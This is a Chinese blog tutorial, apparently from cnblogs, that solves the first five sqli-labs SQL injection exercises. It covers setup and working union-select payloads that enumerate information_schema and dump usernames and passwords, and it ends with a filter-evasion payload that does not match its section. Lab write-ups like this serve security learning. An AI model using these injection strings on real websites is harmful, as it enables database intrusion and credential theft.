• 【旧活新整】SqlLabs全攻略(持续更新)


    Sql-Labs全攻略(持续更新)

    平台搭建

    使用PHPStudy在本地搭建平台

    之前因为工作原因,操作不是很方便,所以就只是在服务器端搭建了一个平台,然后就遇上了各种各样的bug和要迈过去的坎,也不能说浪费了很多时间,至少这些时间和精力也是技术成长的一部分嘛hhh,但是毕竟我现在重点在旧活新整,所以图个省事,现在也没有那么多阻碍了。

    到网上看了一眼才发现现在有人整了个很不错的软件出来了,一键搭建,很帅。

    我之前在学校里一直用的是xampp,现在这个软件既然这么方便所以直接用上了。

    Github

    Sql-Labs下载地址:https://github.com/Audi-1/sqli-labs

    解决方案

    SQLi-LABS Page-1(Basic Challenges)

    Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

    先试验一下

     报错信息提示是在1之后,说明可以用字符型闭合来注入。

    测试到4的时候开始报错:

    说明表单总共有三列的数据。

    注:--+可以注释掉后面的闭合,我忘了和#有什么区别来着了……先留个坑。

    前段时间考试太多,忙活两年,基本功忘差不多了……

    这里使用联合查询

    TIP:

    所以这里需要改一下:

    回显的位置在2和3上面

    试试:

    可以成功的。

    这里补充一个知识点:

    SQL注入中group_concat的学习笔记


    mysql中的information_schema 结构用来存储数据库系统信息
    information_schema 结构中这几个表存储的信息,在注入中可以用到的几个表。


    SCHEMATA :存储数据库名的,
    ——>关键字段:SCHEMA_NAME,表示数据库名称


    TABLES :存储表名的

    ——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;

    ——>关键字段:TABLE_NAME表示所属的表的名称


    COLUMNS :存储字段名的

    ——>关键字段:COLUMN_NAME表示字段名


    可以看到,我们只要通过注射点构造查询语句遍相关字段,就可以得到我们想要的信息了。

    爆所有数据名

    select group_concat(SCHEMA_NAME) from information_schema.schemata

    得到当前库的所有表

    select group_concat(table_name) from information_schema.tables where table_schema=database()

    得到表中的字段名 将敏感的表进行16进制编码password=0x70617373776F7264

    select group_concat(column_name) from information_schema.columns where table_name=0x70617373776F7264

    所以这里可以继续进行注入,查询所有数据库的名称:

    ?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+ 

     这里查看之前database()查到的security库的表的名称:

    ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ 

    然后查security库里的表名为users的表的列名,估计这个表里存用户信息:

    ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ 

     

     进一步注入,查询内容:

    ?id=-1' union select 1,2,group_concat(concat('  ID: ',id,' Name: ',username,' Pass: ',password)) from security.users --+ 

    Lesson1到这里全部结束。

    Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

     方法同Lesson-1

    问就是一个字符型注入一个整型注入

    不同的地方在于一个注入时id=1后有单引号另外一个没有

    因为后端在处理sql语句的时候一个当作字符“1”来处理另一个当作整型1来处理

    所以加上引号就变成了‘1’而另外一个就是1

    验证方法如下:

    这里有回显。

     这样会报错。

    所以是整型注入,不用加引号即可。

     源码:

    其他不多赘述。

    Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

    其实同Lesson-2

    只是这次是字符型注入,然后得多补上一个右括号。

    看下源码:

     因为源码中的sql语句多了一个括号,所以这里?id=1‘)把sql语句补全就可以了。

    这里的--+不能换成#,会报错,主要是忘了#和--+的区别了……

    貌似--+更稳妥,先留个坑,日后找一下资料看一眼。

    Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

    道理同Lesson-3,这里是双引号的情况。

     所以构造方式为 id=1")

    这里小小分析一下吧,本人过于愚笨没有第一时间反应过来,所以就看了一下sql的回显。

    这里介绍一个小TIP:输入echo $sql; 和echo "<br>";

    如图:

     这样在注入时网页会显示sql语句的全貌:

     这就跟我想的一摸一样,就是一个简单的补充构造来瞒天过海的过程。

    说一下之所以让我思考了一下,因为这里我参考的老哥的bolg的写法:

     这个”注释双引号“的操作让我没反应过来。我还在想这里不是-1之后所有的内容都是作为id的内容传上去的呀,而不是只有-1是id的内容,所以上面给$id加双引号的操作也应该加在--+的后面来着。

    也有可能是我没有考虑清楚,这里标注一下,我和这个老哥中应该有一个人的想法是错误的。

    本题其他所有内容参考Lesson-1

    Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

    这里可以利用XPATH报错来完成注入。

    ?username=ad%27%20ununionion%20selselectect%201,2,(selselectect%20group_concat(passwoorrd)frfromom b4bsql whewherere username='flag')%20%23&password=1

  • 相关阅读:
    Visual Studio使用Git忽略不想上传到远程仓库的文件
    使用git处理github中提交有冲突的pull request
    C#基础访问修饰符概述
    从代码角度理解NNLM(A Neural Probabilistic Language Model)
    命名实体识别数据预处理
    基于bert命名实体识别(一)数据处理
    transformer多头注意力的不同框架实现(tensorflow+pytorch)
    基于tensorflow的bilstm_crf的命名实体识别(数据集是msra命名实体识别数据集)
    python实现命名实体识别指标(实体级别)
    基于tensorflow的文本分类总结(数据集是复旦中文语料)
  • 原文地址:https://www.cnblogs.com/p201721420021/p/16279305.html
Copyright © 2020-2023  润新知